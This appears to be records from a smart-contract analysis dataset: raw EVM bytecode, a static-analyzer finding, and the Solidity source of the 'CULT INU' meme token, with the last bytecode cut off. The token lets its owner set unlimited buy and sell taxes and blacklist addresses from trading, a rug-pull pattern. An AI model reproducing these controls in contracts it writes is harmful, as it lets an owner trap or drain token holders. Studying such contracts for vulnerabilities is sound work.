0x60606040526004361061017b5763ffffffff60e060020a600035041662923f9e81146101805780630562b9f7146101aa57806306fdde03146101c2578063095ea7b31461024c5780631051db341461026e57806313af4035146102815780631785f53c146102a057806318160ddd146102bf5780631fe8500e146102e457806323b872dd1461030357806324d7806c1461032b5780632a6dd48f1461034a5780632e4f43bf1461037c57806337525ff0146103cf578063442edd03146103e55780635435bac81461040a5780635a3f2672146104765780635ba9e48e146104955780636352211e146104ab57806365121205146104c157806370480275146104d757806370a08231146104f657806371dc761e14610515578063853828b6146105285780638f88aed01461053b57806395d89b411461058a578063a9059cbb1461059d578063af7520b9146105bf578063b9186d7d146105d5578063baddee6f146105eb578063d96a094a14610619578063e08503ec14610624575b600080fd5b341561018b57600080fd5b61019660043561063a565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101c060043561064f565b005b34156101cd57600080fd5b6101d56106a0565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102115780820151838201526020016101f9565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561025757600080fd5b6101c0600160a060020a03600435166024356106e2565b341561027957600080fd5b61019661084e565b341561028c57600080fd5b6101c0600160a060020a036004351661085e565b34156102ab57600080fd5b6101c0600160a060020a036004351661089b565b34156102ca57600080fd5b6102d26108d7565b60405190815260200160405180910390f35b34156102ef57600080fd5b6101c0600160a060020a03600435166108dd565b341561030e57600080fd5b6101c0600160a060020a036004358116906024351660443561091a565b341561033657600080fd5b610196600160a060020a0360043516610968565b341561035557600080fd5b610360600435610986565b604051600160a060020a03909116815260200160405180910390f35b341561038757600080fd5b6103926004356109a1565b6040518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390f35b34156103da57600080fd5b6101c06004356109da565b34156103f057600080fd5b6101c0600435602435600160a060020a0360443516610bf1565b341561041557600080fd5b610423600435602435610cc4565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561046257808201518382015260200161044a565b505050509050019250505060405180910390f35b341561048157600080fd5b610423600160a060020a0360043516610d46565b34156104a057600080fd5b6102d2600435610e1a565b34156104b657600080fd5b610360600435610e33565b34156104cc57600080fd5b6102d2600435610e4e565b34156104e257600080fd5b6101c0600160a060020a0360043516610ef9565b341561050157600080fd5b6102d2600160a060020a0360043516610f3b565b341561052057600080fd5b6101c0610f8b565b341561053357600080fd5b6101c0610fcc565b341561054657600080fd5b6101c0600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061102295505050505050565b341561059557600080fd5b6101d5611130565b34156105a857600080fd5b6101c0600160a060020a0360043516602435611171565b34156105ca57600080fd5b6102d26004356111bc565b34156105e057600080fd5b6102d26004356111ce565b34156105f657600080fd5b6101c0602460048035828101929101359035600160a060020a03604435166111e0565b6101c060043561123f565b341561062f57600080fd5b6102d260043561143f565b600080610646836111ce565b1190505b919050565b60005433600160a060020a0390811691161461066a57600080fd5b600054600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561069d57600080fd5b50565b6106a8611626565b60408051908101604052600e81527f426c6f636b7374617465732e696f000000000000000000000000000000000000602082015290505b90565b60025460a060020a900460ff1615156106fa57600080fd5b81600160a060020a031633600160a060020a03161415151561071b57600080fd5b6107248161063a565b151561072f57600080fd5b33600160a060020a031661074282610e33565b600160a060020a03161461075557600080fd5b600160a060020a03821615156107e3576000818152600b6020526040902054600160a060020a0316156107de576000818152600b60205260408082208054600160a060020a031916905533600160a060020a0316907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35b61084a565b6000818152600b6020526040908190208054600160a060020a031916600160a060020a038581169182179092559133909116907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35b5050565b60025460a060020a900460ff1690565b60005433600160a060020a0390811691161461087957600080fd5b60008054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146108b657600080fd5b600160a060020a03166000908152600160205260409020805460ff19169055565b60075490565b60005433600160a060020a039081169116146108f857600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b60025460a060020a900460ff16151561093257600080fd5b33600160a060020a031661094582610986565b600160a060020a03161461095857600080fd5b6109638383836114d7565b505050565b600160a060020a031660009081526001602052604090205460ff1690565b6000908152600b6020526040902054600160a060020a031690565b6000806000806109b085610e33565b6109b9866111bc565b6109c2876111ce565b6109cb88610e1a565b93509350935093509193509193565b60008054819033600160a060020a039081169116146109f857600080fd5b600254600160a060020a03161515610a0f57600080fd5b600254600090600160a060020a0316636352211e85836040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610a6257600080fd5b6102c65a03f11515610a7357600080fd5b50505060405180519050600160a060020a031614151515610a9357600080fd5b600254600090600160a060020a031663b9186d7d85836040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610ae657600080fd5b6102c65a03f11515610af757600080fd5b50505060405180519050111515610b0d57600080fd5b600254600160a060020a031663b9186d7d8460006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610b5e57600080fd5b6102c65a03f11515610b6f57600080fd5b5050506040518051600254909350600160a060020a03169050636352211e8460006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610bcd57600080fd5b6102c65a03f11515610bde57600080fd5b5050506040518051905090506109638383835b600160a060020a03331660009081526001602052604090205460ff161515610c1857600080fd5b60008211610c2557600080fd5b6000838152600a602052604090205415610c3e57600080fd5b600083815260086020526040902054600160a060020a031615610c6057600080fd5b60008381526008602090815260408083208054600160a060020a031916600160a060020a038616179055600a8252808320859055600990915290208290556007805460018101610cb08382611638565b506000918252602090912001929092555050565b610ccc611626565b610cd4611626565b600083604051805910610ce45750595b90808252806020026020018201604052509150600090505b83811015610d3e5760078054868301908110610d1457fe5b906000526020600020900154828281518110610d2c57fe5b60209081029091010152600101610cfc565b509392505050565b610d4e611626565b610d56611626565b600080610d6285610f3b565b604051805910610d6f5750595b9080825280602002602001820160405250925060009150600090505b600754811015610e115784600160a060020a0316610dc2600783815481101515610db157fe5b906000526020600020900154610e33565b600160a060020a03161415610e09576007805482908110610ddf57fe5b906000526020600020900154838381518110610df757fe5b60209081029091010152600191909101905b600101610d8b565b50909392505050565b6000610e2d610e28836111ce565b61143f565b92915050565b600090815260086020526040902054600160a060020a031690565b6000600354821015610e8357610e7c6064610e7084600563ffffffff6115c316565b9063ffffffff6115f516565b905061064a565b600454821015610ea357610e7c6064610e7084600463ffffffff6115c316565b600554821015610ec357610e7c6064610e7084600363ffffffff6115c316565b600654821015610ee357610e7c6064610e7084600363ffffffff6115c316565b610e7c6064610e7084600263ffffffff6115c316565b60005433600160a060020a03908116911614610f1457600080fd5b600160a060020a03166000908152600160208190526040909120805460ff19169091179055565b600080805b600754811015610f845783600160a060020a0316610f66600783815481101515610db157fe5b600160a060020a03161415610f7c576001909101905b600101610f40565b5092915050565b60005433600160a060020a03908116911614610fa657600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a179055565b60005433600160a060020a03908116911614610fe757600080fd5b600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561102057600080fd5b565b6000805433600160a060020a0390811691161461103e57600080fd5b5060005b815181101561084a576000600a600084848151811061105d57fe5b9060200190602002015181526020019081526020016000205411806111005750600254600160a060020a031663b9186d7d83838151811061109a57fe5b9060200190602002015160006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156110e357600080fd5b6102c65a03f115156110f457600080fd5b50505060405180511590505b1561110a57611128565b61112882828151811061111957fe5b906020019060200201516109da565b600101611042565b611138611626565b60408051908101604052600381527f42535400000000000000000000000000000000000000000000000000000000006020820152905090565b60025460a060020a900460ff16151561118957600080fd5b61119281610e33565b600160a060020a031633600160a060020a03161415156111b157600080fd5b61084a3383836114d7565b60009081526009602052604090205490565b6000908152600a602052604090205490565b600160a060020a03331660009081526001602052604081205460ff16151561120757600080fd5b5060005b838110156112385761123085858381811061122257fe5b905060200201358484610bf1565b60010161120b565b5050505050565b600080600080600080611251876111ce565b1161125b57600080fd5b600061126687610e33565b600160a060020a0316141561127a57600080fd5b611283866111ce565b34101561128f57600080fd5b33600160a060020a03166112a287610e33565b600160a060020a031614156112b657600080fd5b6112bf3361160c565b156112c957600080fd5b33600160a060020a031615156112de57600080fd5b6112e786610e33565b94503393506112f5866111ce565b9250611307348463ffffffff61161416565b91506113148585886114d7565b61131d86610e1a565b600a60008881526020019081526020016000208190555083600160a060020a0316867fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c21590408560405190815260200160405180910390a384600160a060020a0316867f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d78560405190815260200160405180910390a36113b983610e4e565b9050600160a060020a0385166108fc6113d8858463ffffffff61161416565b9081150290604051600060405180830381858888f1935050505015156113fd57600080fd5b600082111561143757600160a060020a03841682156108fc0283604051600060405180830381858888f19350505050151561143757600080fd5b505050505050565b600060035482101561146157610e7c605f610e708460c863ffffffff6115c316565b60045482101561148157610e7c6060610e7084608763ffffffff6115c316565b6005548210156114a157610e7c6061610e7084607d63ffffffff6115c316565b6006548210156114c157610e7c6061610e7084607563ffffffff6115c316565b610e7c6062610e7084607363ffffffff6115c316565b6114e08161063a565b15156114eb57600080fd5b82600160a060020a03166114fe82610e33565b600160a060020a03161461151157600080fd5b600160a060020a038216151561152657600080fd5b30600160a060020a031682600160a060020a03161415151561154757600080fd5b60008181526008602090815260408083208054600160a060020a03808816600160a060020a03199283168117909355600b909452938290208054909416909355908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a3505050565b6000808315156115d65760009150610f84565b508282028284828115156115e657fe5b04146115ee57fe5b9392505050565b600080828481151561160357fe5b04949350505050565b6000903b1190565b60008282111561162057fe5b50900390565b60206040519081016040526000815290565b815481835581811511610963576000838152602090206109639181019083016106df91905b80821115611671576000815560010161165d565b50905600a165627a7a72305820077ce92c300eee36e633e0252652f876d9df27a02db673255de05e894a06a47d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
5,841
0xa5d775a88774bee5fecab0c6131ab7f566bad9bb
// SPDX-License-Identifier: UNLICENSED //https://t.me/cultinuportal pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CULTINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "CULT INU"; string private constant _symbol = "CULTINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x2507b90503a9B98221B8473f0f773328c1220914); _buyTax = 10; _sellTax = 10; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/4; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { _sellTax = sellTax; } function setBuyTax(uint256 buyTax) external onlyOwner() { _buyTax = buyTax; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610347578063c3c8cd8014610367578063c9567bf91461037c578063dbe8272c14610391578063dc1052e2146103b1578063dd62ed3e146103d157600080fd5b8063715018a6146102a55780638da5cb5b146102ba57806395d89b41146102e25780639e78fb4f14610312578063a9059cbb1461032757600080fd5b8063273123b7116100f2578063273123b714610214578063313ce5671461023457806346df33b7146102505780636fc3eaec1461027057806370a082311461028557600080fd5b806306fdde031461013a578063095ea7b31461017d57806318160ddd146101ad5780631bbae6e0146101d257806323b872dd146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600881526743554c5420494e5560c01b60208201525b60405161017491906118f4565b60405180910390f35b34801561018957600080fd5b5061019d61019836600461177b565b610417565b6040519015158152602001610174565b3480156101b957600080fd5b50670de0b6b3a76400005b604051908152602001610174565b3480156101de57600080fd5b506101f26101ed3660046118ad565b61042e565b005b34801561020057600080fd5b5061019d61020f36600461173a565b610479565b34801561022057600080fd5b506101f261022f3660046116c7565b6104e2565b34801561024057600080fd5b5060405160098152602001610174565b34801561025c57600080fd5b506101f261026b366004611873565b61052d565b34801561027c57600080fd5b506101f2610575565b34801561029157600080fd5b506101c46102a03660046116c7565b6105a9565b3480156102b157600080fd5b506101f26105cb565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610174565b3480156102ee57600080fd5b5060408051808201909152600781526643554c54494e5560c81b6020820152610167565b34801561031e57600080fd5b506101f261063f565b34801561033357600080fd5b5061019d61034236600461177b565b61083b565b34801561035357600080fd5b506101f26103623660046117a7565b610848565b34801561037357600080fd5b506101f26108de565b34801561038857600080fd5b506101f261091e565b34801561039d57600080fd5b506101f26103ac3660046118ad565b610ae4565b3480156103bd57600080fd5b506101f26103cc3660046118ad565b610b13565b3480156103dd57600080fd5b506101c46103ec366004611701565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610424338484610b42565b5060015b92915050565b6000546001600160a01b031633146104615760405162461bcd60e51b815260040161045890611949565b60405180910390fd5b66470de4df8200008111156104765760108190555b50565b6000610486848484610c66565b6104d884336104d385604051806060016040528060288152602001611ae0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f9b565b610b42565b5060019392505050565b6000546001600160a01b0316331461050c5760405162461bcd60e51b815260040161045890611949565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105575760405162461bcd60e51b815260040161045890611949565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059f5760405162461bcd60e51b815260040161045890611949565b4761047681610fd5565b6001600160a01b0381166000908152600260205260408120546104289061100f565b6000546001600160a01b031633146105f55760405162461bcd60e51b815260040161045890611949565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106695760405162461bcd60e51b815260040161045890611949565b600f54600160a01b900460ff161561068057600080fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106e057600080fd5b505afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071891906116e4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076057600080fd5b505afa158015610774573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079891906116e4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107e057600080fd5b505af11580156107f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081891906116e4565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610424338484610c66565b6000546001600160a01b031633146108725760405162461bcd60e51b815260040161045890611949565b60005b81518110156108da5760016006600084848151811061089657610896611a90565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108d281611a5f565b915050610875565b5050565b6000546001600160a01b031633146109085760405162461bcd60e51b815260040161045890611949565b6000610913306105a9565b905061047681611093565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161045890611949565b600e546109689030906001600160a01b0316670de0b6b3a7640000610b42565b600e546001600160a01b031663f305d7194730610984816105a9565b6000806109996000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3591906118c6565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aac57600080fd5b505af1158015610ac0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104769190611890565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b815260040161045890611949565b600b55565b6000546001600160a01b03163314610b3d5760405162461bcd60e51b815260040161045890611949565b600c55565b6001600160a01b038316610ba45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b038216610c055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610458565b6001600160a01b038216610d2c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610458565b60008111610d8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610458565b6001600160a01b03831660009081526006602052604090205460ff1615610db457600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610df657506001600160a01b03821660009081526005602052604090205460ff16155b15610f8b576000600955600c54600a55600f546001600160a01b038481169116148015610e315750600e546001600160a01b03838116911614155b8015610e5657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e6b5750600f54600160b81b900460ff165b15610e98576000610e7b836105a9565b601054909150610e8b838361121c565b1115610e9657600080fd5b505b600f546001600160a01b038381169116148015610ec35750600e546001600160a01b03848116911614155b8015610ee857506001600160a01b03831660009081526005602052604090205460ff16155b15610ef9576000600955600b54600a555b6000610f04306105a9565b600f54909150600160a81b900460ff16158015610f2f5750600f546001600160a01b03858116911614155b8015610f445750600f54600160b01b900460ff165b15610f89576000610f56600483611a07565b9050610f628183611a48565b9150610f6d8161127b565b610f7682611093565b478015610f8657610f8647610fd5565b50505b505b610f968383836112b1565b505050565b60008184841115610fbf5760405162461bcd60e51b815260040161045891906118f4565b506000610fcc8486611a48565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108da573d6000803e3d6000fd5b60006007548211156110765760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610458565b60006110806112bc565b905061108c83826112df565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110db576110db611a90565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112f57600080fd5b505afa158015611143573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116791906116e4565b8160018151811061117a5761117a611a90565b6001600160a01b039283166020918202929092010152600e546111a09130911684610b42565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d990859060009086903090429060040161197e565b600060405180830381600087803b1580156111f357600080fd5b505af1158015611207573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061122983856119ef565b90508381101561108c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610458565b600f805460ff60a81b1916600160a81b17905580156112a1576112a13061dead83610c66565b50600f805460ff60a81b19169055565b610f96838383611321565b60008060006112c9611418565b90925090506112d882826112df565b9250505090565b600061108c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611458565b60008060008060008061133387611486565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136590876114e3565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611394908661121c565b6001600160a01b0389166000908152600260205260409020556113b681611525565b6113c0848361156f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140591815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061143382826112df565b82101561144f57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114795760405162461bcd60e51b815260040161045891906118f4565b506000610fcc8486611a07565b60008060008060008060008060006114a38a600954600a54611593565b92509250925060006114b36112bc565b905060008060006114c68e8787876115e8565b919e509c509a509598509396509194505050505091939550919395565b600061108c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9b565b600061152f6112bc565b9050600061153d8383611638565b3060009081526002602052604090205490915061155a908261121c565b30600090815260026020526040902055505050565b60075461157c90836114e3565b60075560085461158c908261121c565b6008555050565b60008080806115ad60646115a78989611638565b906112df5